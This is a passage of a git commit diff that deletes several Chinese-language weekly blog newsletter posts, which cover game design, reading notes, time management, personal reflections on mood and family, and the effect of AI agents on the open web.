diff options
| author | eltrac <hi@eltr.ac> | 2026-03-08 11:48:55 +0800 |
|---|---|---|
| committer | eltrac <hi@eltr.ac> | 2026-03-08 11:48:55 +0800 |
| commit | 66eb897d4d812a76831e6113a1a2ecce0e53be43 (patch) | |
| tree | 2dc66c25aa1424fc7903193593e4aa7197992469 /content/posts/weekly | |
| parent | c121a4ef8792f9bc40d3700608dcd2e492d8033b (diff) | |
docs: move /posts/weekly -> /weekly, a standalone section
Diffstat (limited to 'content/posts/weekly')
77 files changed, 0 insertions, 11670 deletions
diff --git a/content/posts/weekly/1.md b/content/posts/weekly/1.md deleted file mode 100644 index 2547c755..00000000 --- a/content/posts/weekly/1.md +++ /dev/null @@ -1,165 +0,0 @@ -+++ -categories = "稻草人周刊" -date = 2024-11-04 -draft = false -title = "稻草人周刊 Vol.1" -toc = false -tags = [ - "神秘学", - "认知", - "人际交往", - "语言", - "游戏", -] -aliases = [ - "/posts/稻草人周刊-vol-1/", - "/posts/weekly/稻草人周刊-vol-1/", - "/posts/weekly/1", -] -+++ -你正在阅读 [稻草人周刊](/categories/稻草人周刊/) 的第 1 期,我会在这里分享最近的有意思的事情、思考、阅读和体会,总之是一些篇幅较短还不足以成文,但的确让自己有所收获的内容。 - -每期稻草人周刊大概会分为三个内容: - -- 🏃 - 最近在做的一些事情 -- 🤔 - 最近读的书,和一些零碎的想法 -- 📒 - 有意思的文章、播客、视频的摘录 - -## 🏃 - -大概是今年三四月的时候,因为想要学习游戏开发联系了 [Zeee](https://www.velasx.com/),得到了不少有用的建议,可惜总是拖延,一直没有开始自己的第一个游戏项目。 - -最近又收到了 [Zeee](https://www.velasx.com/) 的回信,简而言之,他让我不要有太多心理负担,先用纸张做一个简单的游戏吧! - -刚好书桌上放着之前学占星用的占星骰子,于是就以此为出发点做了一个简单的带有占星和宇宙元素的填格子游戏(大概花了半天时间)。我把游戏规则整理到了 [Notion](https://eltrac.notion.site/Game-1-130b7822cc8f808199d5f480e095918b?pvs=74) 上。 - -周末就趁着做兼职的时间找同事和一些朋友试玩了一下,有一个特别喜欢的桌游的朋友说他觉得很有意思。玩下来之后发现这个游戏靠运气的成分还是挺大的,虽然可以通过「移动太阳月亮」和「在关键时刻打出手牌」等方法来控制局面,但可操作的空间还是比较小。有的时候对方玩家掷两次骰子就占了十几个格子,自己运气不好的话可能就只有一两个。 - -如果只是朋友间娱乐的话,这样的随机性其实还真挺有意思,上一秒对方还在得意自己运气非凡,下一秒自己就抽到一张「樱桃炸弹」…… 我发现「未知」和「随机」似乎占了游戏趣味性的很大一部分。 - -虽然随机性很强,但玩家每回合能作出的选择还是有的,比如要选择掷骰子还是抽牌、抽牌之后要直接打出还是留下,至少参与感很强。(突然冒出一个想法:似乎有很多让人上瘾的桌游都是这样设计的?) - -也有明显的不足,比如一局游戏要玩很久,一直在占格子和拆格子,就很难在某个时候把格子填满然后判定结束(于是加入了一张可以判定游戏结束的事件牌,但是保守起见设置成了掷骰子得到「冥王星」才能结束,影响微乎其微吧)——现在想起来,我和我的朋友好像还没有完整地玩过一局游戏…… 游戏本身很难结束,添加额外的事件可能会让游戏意外地结束,或许可以增加其他的机制,但可能会让游戏太复杂——总之有点难把握。 - -我设计的第一个游戏大概就是这样了,不知道你觉得如何呢? - -## 🤔 - -### 理解概念时,第二门语言带来的影响 - -今年试着读了几本英文书,第一本应该是 John Walker 的 Hacker's Diet,这本是英文的电子书,似乎没有出版,直接搜索应该能找到官网。 - -第二本是 Steal Like An Artist,字其实不多,作者自称是 a writer who draws(画画的作家),内容也有些启发性。之后还读了一本叫做 How To Deal With Idiots 的书,书名让人觉得有些傲慢,但读完了一部分之后觉得作者的语言风格和一些观点确实有意思。 - -现在正在读 Atomic Habits,也算是我读的第一本纸质的英文书。因为是纸质的,所以会用笔批注;因为是英文的,所以自然会用英文批注。但读后整理的时候,我还是会用中文写笔记,也正是在写笔记的时候,我发现了一些微妙的差异。 - -我一直有尝试践行费曼学习法,也就是把自己读到的、学到的,用自己的话再写一遍。因为大部分输入的内容是中文,所以再用费曼学习法记笔记的时候,难免会和作者用相似的描述,如果意识到这一点之后刻意换成别的表达方式,似乎又显得没必要。 - -我发现,当我原来在读英文,之后又用中文整理笔记时,我能够非常自然地自己组织语言阐述书中的观点。 - -或许,**要检验自己是否真的理解了某个概念,用自己的话说一遍不一定 100% 有效,但能用另一门语言讲清楚,那大概是真的懂了**。 - -### 如何处理傻逼 - -读了一本有意思的书,叫做《How to Deal With Idiots》(如何处理傻逼)。 - -作者花了很多笔墨合理化「认为某人就是傻缺」这种想法。道德似乎认为「没有人应该把另一个人当作傻逼对待」,而作者指出这是**双重标准** —— 严格来说,道德应该是平等要求每个人的,但是,道德要求人容忍那些惹自己生气的傻缺,倡导退一步海阔天空的同时,也就是在纵容傻缺不容忍感到生气的自己的行为。 - -也就是说,**在面对「蠢货」这类存在时,道德既要求我们和对待其他人一样对待他们,同时又对他们不做这样的要求**。 - -何必这样对自己呢?放下圣母情结吧,你从来都没有必要宽恕任何人。 - -但是,作者也说,对傻逼发火是不可取的,尝试把「真理」交给他们也是不可取的。当你尝试向傻逼解释他为什么不能这样做的时候,你其实并不能说服他们,原因根据情况的不同可以分为: - -1. 对方是系统性地愚蠢(systematically stupid),他不在乎逻辑的连贯性,他只在乎自己的利益和情感。 -2. 当人认为某人「犯蠢」了时,其实是认为对方的行为不是一个拥有人类智慧的个体应该做出来的事情,但事情到这里就有趣起来了,这个人自己凭什么代表「人类理智」发言呢?很多时候人们跟傻逼的争执,可以被简化为「你不该这样做,不是因为我告诉你不能这样,而是因为比我更高的智慧的存在不容许你的行为」,在换句话说「我说服不了你,但是比我更高的存在告诉你不能这样做」——**如果尝试这样和对方“理论”,实际上是在展示自己的无知和无能**。 - -所以应对「傻逼」不能理论,要么远离、直接摊牌,要么说点对方想听的话,模糊地讲故事,也让自己不那么难受。 - -同时,作者也写道,**世界上最大的傻逼就是每个人自己**。傻逼是相对的,每个人都有可能是另一个人眼里的傻逼。用较为「唯心主义」的话来说,假设有「绝对理智」的存在,祂不会认为任何一个人是「蠢货」,因为祂能看到任何人类行为背后的原因——**没有人会犯蠢,人只是因为各种复杂的原因做出了某件特定的事情而已**。 - -但你不是神,所以别强迫自己。 - -简单来说: - -1. 放下圣母情结,承认有人就是傻逼 -2. 不要和傻逼讲理,要么撕破脸皮,要么讲点他爱听的话 -3. 所有人都是傻逼 - -### 无处不在的「四要素」 - -《Atomic Habits》(原子习惯)里提到,要养成好习惯,或者说改变现有的行为,需要四个基本步骤:cue -> craving -> response -> reward。 - -所谓 cue 是指那些能**触发**你行动意愿的信号,craving 是收到这个信号之后的**感受和渴望**,response 是对感受的回应、是具体的**行为**,reward 就是行为带来的**奖赏**。 - -这让我想到了《78 度的智慧》里,作者对神秘学四元素的描述。**火**是行动的开始,是点燃欲望的火苗;**水**是情感,那些支撑着你坚持行动的东西,也可以是想象力和愿景;**风**代表思维,表示你正为了行动欲望而做出计划和决策;而**土**,就代表你最后收获的、实在的东西,可以是物质奖励。 - - - -是的,习惯养成里的 cue / craving / response / reward 四法则,和神秘学四元素对事物运动的诠释,似乎不谋而合。将两者抽象为一个简单的模型——触发(trigger)、驱动(motivation)、策略(strategy)和结果(outcomes)——似乎可以用来解释和分析很多人类行为。 - -比如自己搞砸了某件事情,通过这个模型分析的话,就可以问问自己: - -1. 是不是一开始就不该做这件事情? -2. 是不是因为自己并不喜欢这件事情,所以没有足够的内驱力,就没能坚持下来? -3. 是不是对问题的反应出了问题,应该换个方法? -4. 结果到底哪里令人不满意? - -### 身份认知与习惯养成 - -养成好习惯似乎不简单。人们会说,做一件事情容易,但要每天都做这件事情就很难。其实不然,在某种程度上,不是你做不到,而是你相信自己做不到。 - -身份和习惯相辅相成。 - -- 你相信的东西决定了你的行为,*如果你相信你是一个注重整洁的人,你大概会每天整理床铺*。 -- 你重复的行为(习惯)决定了你的身份,*如果你每天锻炼,你大概会认为自己是一个爱运动的人*。 - -《Atomic Habits》的作者认为,改变行为(包括习惯养成)的关键在于改变「身份认知」(identity)。我们想要改变行为,其实是为了得到某个结果(outcome),但是,我们通常会直接采取某种方法(process),比如为了多读书,就每天强迫自己读书半个小时。 - -如果要让自己更好地坚持下来,就不应该太注重过程,放手去做就好了。在一开始,就让自己读一点点书,慢慢体会读书的乐趣,渐渐地,在这个行为重复了数次之后,自己可能会慢慢将自己认知为「一个读书的人」。这个时候,每天都半个小时、一个小时,应该都不在话下。 - - - -> You don't want to read. You want to be a reader. - ---- - -## 📒 - -[科技爱好者周刊(第 322 期):内容行业的内幕 - 阮一峰的网络日志](https://www.ruanyifeng.com/blog/2024/10/weekly-issue-322.html) - -> 这就是内容创造者面临的最大问题:**你不能停止工作,也不能重复使用以前的内容,必须保持更新和宣传,紧跟市场的热点,这样才有人来消费你的内容,否则一切就会回到起点**。 -> -> …… -> -> 我希望,加入内容行业的人,都能**了解这个行业的快餐本质**,这里没有积累,只会掏空你。加入的时候,最好就有思想准备自己被消耗光。 - -[Open Source on its own is no alternative to Big Tech - Bert Hubert's writings](https://berthub.eu/articles/posts/open-source-by-itself-is-no-alternative-for-big-tech/) - -> But comparing Open Source to big tech is like comparing an oven to a restaurant. Big tech provides well-supported *services*, and nowadays runs everything for you in their own data centers. Meanwhile, Open Source is a collection of free/libre software that someone still needs to work on to turn it into (for example) a “workplace as a service”. -> -> 把开源和大型科技公司作比,就像是把烤炉比作餐馆。科技公司提供受到良好支持的服务,在他们的数据中心帮你搞定一切。与此同时,开源只有一系列免费/自由软件,你仍然需要自己付出努力才能造出能提供服务的「工作区」。 - -[如何6个月内搞定任何语言?The ULTIMATE 6 Month Plan to Learn Any Language - YouTube](https://www.youtube.com/watch?v=Yqb0qabSwzs) - -> 阶段一: -> 1. 能读出你见到的每个单词 -> 2. 三岁小孩的语法:*找一些入门级的语言教科书,学习最基本的语法* -> 3. 五岁小孩的词汇量:*读一些写给小孩子看的书* -> 阶段二: -> 4. 找个可以教会你专业知识的语言老师 -> 5. 再找一个只是能和你聊天吹水的、你觉得有意思的人聊天 - -*Atomic Habits* - -> True long-term thinking is goal-less thinking. -> -> **真正的长期思维是没有目标的思维**,当你建立了身份认知之后,你就不需要目标来驱动你去做某件事情了;如果你只是设定目标,当你完成目标之后,你就没有事情可做了;当你没有完成目标,你会觉得自己还做的不够好,这会限制你的快乐。 - -[如何追求精力充沛的生活 - 少数派](https://sspai.com/post/61722) - -> 所以不要再把你手中的微博、抖音或者手游当作工作时间内的休息手段。走几步里泡杯咖啡或者茶,与同事短暂交流几分钟可能效果会更好。 - ---- - -我在尝试用 [Essay](https://www.essay.ink/) 记录一些较短的想法,如果你感兴趣,可以访问我的 [主页](https://www.essay.ink/eltrac)。在每期的稻草人周刊里,我会从本周记录的短想法、记下的笔记里选出一部分内容发布。 diff --git a/content/posts/weekly/10.md b/content/posts/weekly/10.md deleted file mode 100644 index b2cda438..00000000 --- a/content/posts/weekly/10.md +++ /dev/null @@ -1,107 +0,0 @@ -+++ -title = "稻草人周刊 Vol.10" -subtitle = "好好生活" -description = "这是 2025 年的第一期周刊,也是周刊的第十期。" -date = 2025-01-06 09:26:00 -categories = "稻草人周刊" -draft = false -tags = [ - "语言", - "性别", - "信仰", - "文化", - "效率", -] -aliases = [ - "/posts/稻草人周刊-vol-10/", - "/posts/weekly/稻草人周刊-vol-10/", - "/posts/weekly/10", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),个人化的信息整合,每周一更新。 - -> [!note] 🎉 -> 这是 2025 年的第一期周刊,也是周刊的第十期。 - -## 🏃♂️ - -- Ultralime 上发布了新的小说:《[电影院](http://www.ultrali.me/posts/20241231-paranoid/)》 -- 我个人的年度总结已经发布:《[写在 2025 的开头](/posts/写在2025的开头)》 - -## 📚 - -{{< bookcard "幽灵塔" >}} - -## 🔍 - -### 三天打鱼两天晒网式时间管理 - -出自:[P 人也要时间管理?2024 的实践小结](https://sspai.com/post/95280) @ 鹅小刀 - - - -1. 想象自己有七张三格长的卡,用他们填上日历上的空格,在这些日子里好好工作、生活,余下的部分就好好摆烂 -2. 每年确定三个主题,「好好生活卡」的每一个空格,都对应一个特定的主题,比如今天主要写作、明天陪陪家人等等 - -这种方法的主要思想是:**就算是三天打鱼两天晒网,那也有 60% 的时间是在真正做事的啊!** 这句话简直醍醐灌顶,~~让我更有动力摆烂了~~,当然前提是三天打鱼的时候真的有把事情做好。 - -我想要补充一个观点,经济学上有一个「巴莱多定律」,大致内容是: - -> 80% 的成果是在 20% 的时间中产生的 - -做一件事情必然不能做到 100% 高效,可能有 80% 的时间都在忙于摸索、学习、试错、一些琐事等等,真正的突破发生在很短的时间内,往往就是那么一两个特定的时间段。 - -既然如此,不妨把那些低效的、简单的、没有突破的时间,尽可能放在摆烂的日子里,抱着没有突破的目标来做这些事情。尽可能把规划好的时间用于最有成果的 20%。 - -### 西方文化里的处女 - -元旦那天找了部电影来看,叫《香水》(Perfume: The Story of a Murderer)。我不怎么看电影,所以做不了影评,但故事的一些设定让我觉得有点意思。 - -**剧透警告** 故事的主角天生有着超乎常人的嗅觉,他不分辩香和臭,只是感受着世间一切的味道。直到有一天,他遇到了一位卖李子的女孩,他被她身上的味道吸引了,然后—— - -然后他就把她捂死,扒光衣服,把脸贴在她的身上闻遍他全身的味道…… - -之后他去一个叫做 Grasse 的地方学习香水的制作工艺,因为他想要学会「保存气味」。然后他就在 Grasse 四处杀人,把她们的味道做成精油(其实就是尸油啊喂!)。这些人无疑都有一种独特的「美」,那就是「她们都是处女」。 - -主角被拘捕之后,竟然用 13 位处女的尸油做成的香水迷倒了狱警,连教皇都把他当作天使。在处刑场上,刽子手和受害者的父亲在闻到香味之后,竟然都跪在地上给他道歉,认为他是无辜的。 - -他把香味撒向人群,人们便感受到了无限的「爱意」,都脱光衣物和身边的人亲吻、做爱。广场上很快变成了群交现场。 - -故事的最后,主角来到自己出生的地方,把香水淋到自己头上,然后小镇上的人们因为太爱他,把他活生生吃掉了,连尸骨都不剩。 - -我看不懂情节背后的内涵,但这瓶香水无疑是「处女」和「女性贞洁」的象征。在西方文化里,那似乎是最美丽和神圣的东西。 - -在《圣经》里,圣母玛丽亚是通过圣灵的感召,以处女之身生下了耶稣。希腊神话中,雅典娜和阿尔忒弥斯都被描绘为永恒的处女。十二星座中的处女座,背后的神话故事也的确有一位象征纯洁美好的处女。 - -在男人的眼里,女人的贞洁是能和大自然匹敌的美丽。人类的许多文化似乎都是建立在「性」的概念上的,这里的性包括贞洁,也包括生育,比如基督教徒可能会强烈反对婚前性行为;中世纪的猎巫运动中,人们对女巫的指控,也有「女巫帮助女人避孕」「女巫让男人不举」的罪名,那些失去贞洁的女儿、不忠的妻子,也可能被作为一家之主的男人指控为女巫,然后被烧死。 - -从性、贞洁、生育的角度研究人类历史和文化或许有点意思,但只看现实意义的话,这些故事里的男人和他们用下半身思考的大脑一样好笑。 - -### 气味与音乐 - -我的一位老师在上课时无意说道:香水的前中后调,应该不是读调(diao4)吧?香水是调制的,应该读调(tiao2)吧? - -我当时没怎么在意,看完《香水》这部电影,我知道了前中后调在英文里分别是 head chord、heart chord 和 base chord,也叫做 top notes、heart notes 和 base notes。 - -这里的 chord 和 notes 其实都是声乐里的专有名词。note 指音符,在这里指的是组成香水前中后调的一种气味;chord 指和弦,在声乐里就是指多种音符一起演奏形成的和声,这里指的就是前调、中调或后调的整体气味。简单来说,多种 note 组成了 chord。 - -所以那位老师说错了,前中后调的调,确实是音乐的调。 - -## 🐈 - -来点没品笑话。 - -{{< gallery >}} - - - - - - - - - - - -{{</ gallery >}} diff --git a/content/posts/weekly/11.md b/content/posts/weekly/11.md deleted file mode 100644 index 832032b1..00000000 --- a/content/posts/weekly/11.md +++ /dev/null @@ -1,86 +0,0 @@ -+++ -title = "稻草人周刊 Vol.11" -subtitle = "天才、抑郁与时间" -description = "天才、抑郁与时间" -date = 2025-01-13 08:03:00 -categories = "稻草人周刊" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-11/", - "/posts/稻草人周刊-vol-11/", - "/posts/weekly/11", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),个人化的信息整合,每周一更新。 - -## 🏃♂️ - -简单、拒绝折腾不必要的功能当然是好的,但博客大概也需要一些展示性的东西让内容更容易被访客发现。抱着这样的目的,我在播客的主页加了这一栏。 - - - -选了三个我比较喜欢的专栏,简单做了封面图放在首页,右边附上了一些链接。 - -事实证明此举确实有让一些旧文章重见天日。 - - - -## 📚 - -{{< bookcard "天才在左-疯子在右" >}} - -## 🔍 - -### 我有抑郁症吗? - -相关阅读:[我的 2024:「未知数 X」和情绪的事件分析法](https://sspai.com/post/95383) - -读完这篇文章之后,我有一种醍醐灌顶之感,因为作者给我近几年来一直没琢磨明白的一种情绪感受命了名,也就是标题中的「未知数 X」。 - -我从初中开始就怀疑自己有抑郁症,但从未就诊。自小学时,我就有妄想体验,我会担心别人能听到我内心的想法,在考试、自习等安静的环境里,若是我有了什么不可见人的思绪,我会担心那些东西会变成语音从学校的广播里传出来,让全校所有人都知道我内心是一个多么肮脏的人。[^1] - -初中刚毕业时,我不让自己接近窗户,因为怕自己突然产生往外爬的冲动。到高中,和人的接触让这些阴暗的东西收敛了些,但每天晚自习回到家,都会有一种我无法用语言描述的无力感;也正是因为这些感受,让我的父亲对我非常不满,因为他没法在我身上感受到亲切[^2]。 - -就算到了大学,我的生活变得比以往都要美好,这种阴暗的、无法被命名的感受也没有离我而去。我曾经把那些间歇性的无力感归结为「糖崩溃」和「咖啡因崩溃」[^3],但事情似乎没有想象的那么简单。 - -或许出自某种内阻力,让我的热情和生产力时高时低,飘忽不定,难以掌控。那种什么都不想做的感受,似乎没有严重的抑郁症患者那样持续好几天甚至几个月,但我能感受到他们是真实的。如果我真的去就医,医生给出了诊断结果,那我大概会说:*哈!我就知道。* - -### 为你的时间评级 - -相关阅读:[对时间管理的一些思考 - Rolen's Blog](https://rolen.wiki/some-thoughts-about-time-management/) - - - -中午一过我的状态就不好,兴许是吃了饭晕碳,或者是早上的一杯咖啡引发了咖啡因崩溃[^3]。要是放任不管,一下午的宝贵时间都会被我浪费。此前我一直觉得下午的时间很宝贵,因为从 2:00~6:00 有整整四个小时的时间。以往我总是睡到十点才起,早上的时间对我来说不算什么。 - -这种[思维惯性](/posts/扩张惯性/)我一直没改过来,即使养成了七点就起的好习惯,我还是总想把关键事务都放在下午。当我在 16:50 惊觉自己已经刷了一下午《老友记》时,我老是责备自己:「计划全乱了,计划全乱了!」 - -==要是了解自己的身体、大脑在每天不同时刻的状态,就能利用这一规律,更好地安排自己的事务==。要是没有特定的规律,或者不喜欢做计划,也可以可以地察觉身体的感受,对自己的状态、待办事项做综合的评估——觉得头昏脑胀就出去走走,番茄钟才过一半就读不进书了就停下来,下午没精神就做点不动脑子的事情…… - -## 📒 - -这是本周博客更新的摘录! - -- 主题讨论,较长的文章 - - [偏执狂的自我认同危机](/posts/偏执狂的自我认同危机/) - 有的人会把自我认同表现在对部分事物的强烈态度上,我把这样的人称作偏执狂。包括我在内的许多人,没了偏执就失去了身份感,不知道自己是谁。如何面对偏执狂?偏执狂又该如何自救? - - [把钱给软件开发商,值吗?](/posts/把钱给软件开发商值吗/) - 关于付费软件的讨论。花钱买的究竟是软件的什么?订阅制和买断制,对开发者和用户来说意味着什么?普通人应该怎么使用付费软件? - - [毫无敬意](/posts/毫无敬意/) - 通过塔罗牌中的「皇帝」和「父亲」原型的关联,从心理学的角度讨论父亲与权威和社会规则的关系,讨论人们对父亲和权威形象的需求,以及与父亲相关的形象是如何影响我们的行为准则的。 -- 适合茶余饭后简单读一读的小短文 - - [扩张惯性](/posts/扩张惯性/) - 一次**手写文章**尝试,简单写了写思维惯性。 - - [一次读三本书](/posts/一次读三本书/) - 放下「没读完一本书不能翻开下一本」的执着,你完全有理由一次读好几本书。 -- 生活类(大概算吧) - - [揽物日志 Vol.4:如何在宿舍冲一杯咖啡](/posts/揽物日志-vol-4/) - -## 🐈 - - - -[^1]: 上周发布的小说《[电影院](https://www.ultrali.me/posts/20241231-paranoid/)》就是对这种妄想的具象描述 -[^2]: 其实挺他妈好笑的,十几年前我还是个小屁孩的时候天天跑出去和人喝酒不回家,让我在卧室半夜听着我妈催他回家;带全家出去吃席回去自己喝了酒不能开车,坐在副驾驶发酒疯骂我妈不会开车,后座还坐着外人都不收敛。等我长大了相处时间少了,这才有危机感了?这才想要亲近了?😅 -[^3]: Sugar Crash 和 Caffeine Crash,指的是摄入大量糖或咖啡因,高能量期和兴奋期过去后,产生的疲劳、注意力下降和情绪波动。 diff --git a/content/posts/weekly/12.md b/content/posts/weekly/12.md deleted file mode 100644 index 6f5b3bdf..00000000 --- a/content/posts/weekly/12.md +++ /dev/null @@ -1,118 +0,0 @@ -+++ -title = "稻草人周刊 Vol.12" -subtitle = "一生之敌" -description = "饮料、一针见血、能量等级、内阻力" -tags = [ - "认知", - "内阻力", - "效率", -] -date = 2025-01-20 12:23:00 -categories = "稻草人周刊" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-12/", - "/posts/稻草人周刊-vol-12/", - "/posts/weekly/12", -] -mentioned_books = [ - "一生之敌", -] -+++ -> [!note] 💡 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),个人化的信息整合,每周一更新。 - -## 🏃♂️ - -用 Notion 新发布的 [Faces](https://faces.notion.com/) 给自己搓了个头像,在考虑要不要把主要平台的头像都换成这个。 - -_/¯ - -### 用能量等级代替优先级 - -> [!note] 📖 -> 相关阅读:[布局 2025:我的时间管理三原则](https://sspai.com/post/95533) - -我在去年八月份写过一篇《[更适合 P 人的效率方法论](/posts/更适合-p-人的效率方法论/)》(现在读起来稍显稚嫩),其中我就花了很多笔墨论述「为什么设定优先级是时间管理不成功的罪魁祸首」。在少数派上的这篇文章也提到了相似的观点: - -> 就我个人而言,这个方法是完全从任务出发,并且想到「紧急」「优先」这些词会容易让我引起焦虑,甚至会给我一种所有任务都很急的假象,容易让我进入身心疲惫(burnout)的状态。 - -虽然 MBTI 并不准确,还是有值得说道的地方。这篇文章的作者作为「J 人」也和我这个「P 人」一样不认可任务优先级对个人任务管理的作用,可见这个观点还是适用于不少人的。 - -与我不同,这篇文章的作者给出了很有启发的解决方案——**划分能量优先级**。 - -比起以任务为中心,以自我,也就是以任务的执行者为中心,或许更好。在能量状态不同的时间段里,做不同事请的效率也是不一样的。作者将不同类型的事项划分为不同的能量等级: - -> E1(驾轻就熟,基本不用额外思考)、E2(需要一定程度的精力)和 E3 (最耗费脑力) - -我的话,也分成了三个能量等级,分别是「轻松愉快」「扩张拉伸」和「战胜内阻力」。不过,这个方法究竟如何,还要试过才知道。我打算下周进行一次复盘,到时候也会在周刊里分享体验。 - -### 内阻力与 [X](/posts/用文字埋葬自己/) - -周二的晚上,我刚下班,躺在椅子上一动也不想动,有一股不安的感受涌上心头,我意识到这种感觉非常熟悉,但我却不知道那是什么。于是我写下了《[用文字埋葬自己](/posts/用文字埋葬自己/)》,试图搞明白那些突如其来的负面情绪究竟是什么。 - -读完《一生之敌》这本书,我对那种被我称作 X 的负面情绪有了新的理解。尽管有些不人道且不专业页,但书里有两句话是这么写的: - -> 将自己塑造成受害者,跟投入工作是对立的。 - -> 内阻力还会转换为临床疾病、抑郁、攻击性、功能障碍。 - -我搞不明白那种感受到底是什么,所以读到抑郁症患者的自述时我会担心自己有精神疾病,读到内阻力有关的内容的时候又责备自己在装病以逃避梦想。 - -如论如何,感受是真实的,既然解决不了,那就用最积极的态度看待它吧——那只是某种内阻力,不是某种寄居在你身体里的怪物或疾病,你甚至不需要鼓起勇气,你只需要做出选择就能战胜它。 - -## 📒 - -《一生之敌》 - -> 献身于个人感召的艺术家便已是志愿选择了地狱。在此期间,孤立、拒绝、自我怀疑、绝望、嘲笑、蔑视和羞辱就是他每日的食粮。 - -> 除了爱,出于任何其他原因而从事艺术创作,都是卖淫。 - -> 冒牌的创新者总是极度自信,而真正的那位却心虚得要命。 - -布莱兹·帕斯卡尔《思想录》 - -> Tout le malheur des hommes vient d’une seule chose, qui est de ne savoir pas demeurer en repos, dans une chambre. -> -> 人类所有的不幸,都源于他们无法安静地独自待在房间里。 - -## 🐈 - -最后,猫猫。 - - - -[^1]: *很明显有人没有「注意听」* diff --git a/content/posts/weekly/13.md b/content/posts/weekly/13.md deleted file mode 100644 index 759a0ea3..00000000 --- a/content/posts/weekly/13.md +++ /dev/null @@ -1,138 +0,0 @@ -+++ -title = "稻草人周刊 Vol.13" -subtitle = "零是单数还是复数?" -description = "思维、成功学、没有人给他写信的上校、零是复数吗、万维网将死" -tags = [ - "AI", - "时事", - "语言", - "经济学", - "Web", - "生活", - "广告", -] -date = 2025-01-27 10:08:00 -categories = "稻草人周刊" -draft = false -aliases = [ - "/posts/weekly/稻草人周刊-vol-13/", - "/posts/稻草人周刊-vol-13/", - "/posts/weekly/13", -] -+++ -> [!note] 🔖 -> 你正在阅读 [稻草人周刊](/categories/稻草人周刊/),一个读者的自述,每周一更新。 - -## 🏃 这周做了什么? - -开始写[英文博客](/en)了,点击顶部导航栏左侧的地球图标就可以在中文和英文之间切换;以前这个位置是 RSS 图标,现在移动到页面底部了。中英文内容不互通,我一般不会去做翻译,而是想到什么就用某一门语言写出来。英文博客的[关于页面](/en/about)也写得不太一样,如果你感兴趣,可以去读读。 - -我的英文写作不太行,所以想通过写博客锻炼英文写作能力。如果你感兴趣,可以通过[这个 RSS 链接](/en/posts/index.xml)订阅本博客的英文内容。 - -## 📚 这周读了什么? - -{{< bookcard "阈限思维" >}} - ---- - -{{< bookcard "逆商" >}} - ---- - -{{< bookcard "没有人给他写信的上校" >}} - -## 🔍 有趣的话题 - -### 零是复数(plural)吗 - -> [!note] 📖 -> 相关阅读:[Why is zero plural?](https://ell.stackexchange.com/questions/352455/why-is-zero-plural) - -在 StackExchange 上有人问为什么 0 是复数(plural,并非 complex number),给出的例子里有「几次方」的英语读法。 - - - -简单讲解一下知识点,这其实都不是数学问题,而是语言问题: - -1. 为什么 0 是复数? - - 1. > That is just how the language works. - - 除了 1,其他数字都是复数 - - 2. 就算没有出现数字 1,如果一个东西被认为是**一个整体**,那也是单数,比如 24 hours 往往被当作一个整体来讨论,就可以当作单数 - - 3. -1 有时是单数,有时是复数 - - 4. 有趣的是,1.0 似乎有时被认为是复数;在讨论串里有人提到,1.0 gallons(加仑)听起来很自然,不过一般没有人会说 1.0 books - -2. 一个数的几次方怎么读? - - 1. 幂运算就是几个相同的数相乘,英语里的读法/写法也和「几个数相乘」有关 - 2. 6 的 4 次方,就是 4 个 6 相乘,英文写作 4 6s(four sixes) - -### 万维网将死? - -> [!note] 📖 -> 相关阅读:[OpenAI just put the final nail in the coffin of the open World Wide Web](https://brids.bearblog.dev/openai-just-put-the-final-nail-in-the-coffin-of-the-open-world-wide-web/) - -作者使用过 OpenAI 新推出的 Operator 之后,对万维网(World Wide Web)的未来表示担忧。有了 Operator 和类似的 AI 服务,用户就不需要自己浏览网页了;内容类网站主要通过广告盈利,如果没人访问网站,他们的资金来源会大大减少——最终,这些网站可能被迫直接将内容卖给 AI 公司,普通用户直接通过 AI 获取信息。 - -我认为作者预见的未来是很有可能的。作者担忧 TripAdvisor 和 Yelp 这样的类似大众点评的平台没人访问之后,自己就没有地方反馈真实用户体验了。但我认为,用户也可以讲这些反馈内容直接提供给 AI 公司,大部分公开内容都有可能被那些大 AI 公司垄断。 - -第六期周刊分享了《[The Zero Click Internet](https://www.techspot.com/article/2908-the-zero-click-internet/#google_vignette)》这篇文章,做着同样表达了对互联网的担忧,但不仅限于万维网[^1]。大平台都在阻止用户点击外部链接跳出平台,所有外部内容都可以在不跳出的情况查看,连搜索引擎都可以通过 AI 总结内容减少跳出率。互联网正在变得更封闭,那些纯粹的内容平台将很难生存。 - -今后互联网可能会被分成两部分:YouTube、Netflix 这样的娱乐内容平台,这样的内容创作者受影响较小;像 Wikipedia 这样的内容网站可能很不好过,人们会更愿意使用 AI 而不是自己访问网站。 - -不过,我认为仍然有相当一部分人对 AI 提供的内容持怀疑态度,或者更愿意从自己信任的人、有影响力的人那里获取更高质量、更真实的内容。面向大众的、依赖广告盈利的网站可能会死亡,但独立网站和付费内容不会失去他们的访客。==人们对于有深度的内容的需求可能会增加,而市场的供给却在减少,那么这些内容的价格会提高——人们可能更愿意为真人编写的内容付费,独立内容生产者将更有可能盈利==。 - -当然,密涅瓦的猫头鹰只有在黄昏的时候才起飞,在这一切真正发生之前,担忧都只是担忧,预测也只是预测。 - -## 💡 新知复盘 - -### 庞氏骗局(Ponzi Scheme) - -骗局实施者用新投资者的钱支付旧的投资者,营造出一种好像投资真的有回报的假象,引得更多人进行投资,使得骗局能继续运转下去。然而,在这个系统里,并没有真实的利润产生。 - -一旦没有新的投资者加入,庞氏骗局就会崩盘。 - -[相关链接](https://b23.tv/gd9JmBJ) - -### `<permission>` 标签 - -一个用于管理浏览器权限的 HTML 标签,可以理解为一个专门用于申请权限、取消权限和查看状态的按钮。 - -[相关链接]( https://b23.tv/aWGGFhi) - -### 弥赛亚情结(Messiah Complex) - -指一种心理状态或信念,有弥赛亚情结的个体会认为自己肩负着改变世界或拯救他人的伟大使命。—— [相关链接](https://mp.weixin.qq.com/s/sGia4cvuTuHXM8B6wZdh9w) - -**补充**:弥赛亚情结也叫做救世主情结。「弥赛亚」常指传教者、大祭司、自认为受上帝委托的人[^2]。弥赛亚情结者会尝试改变他人,因为他认为自己的信念是正确的,并且可以用自己的信念帮助他人;然而,很有可能,真正需要帮助的人是他们自己。 - -## 🗣️ 碎碎念 - -- 《阈限思维》这本书的译者居然把 fight or flight 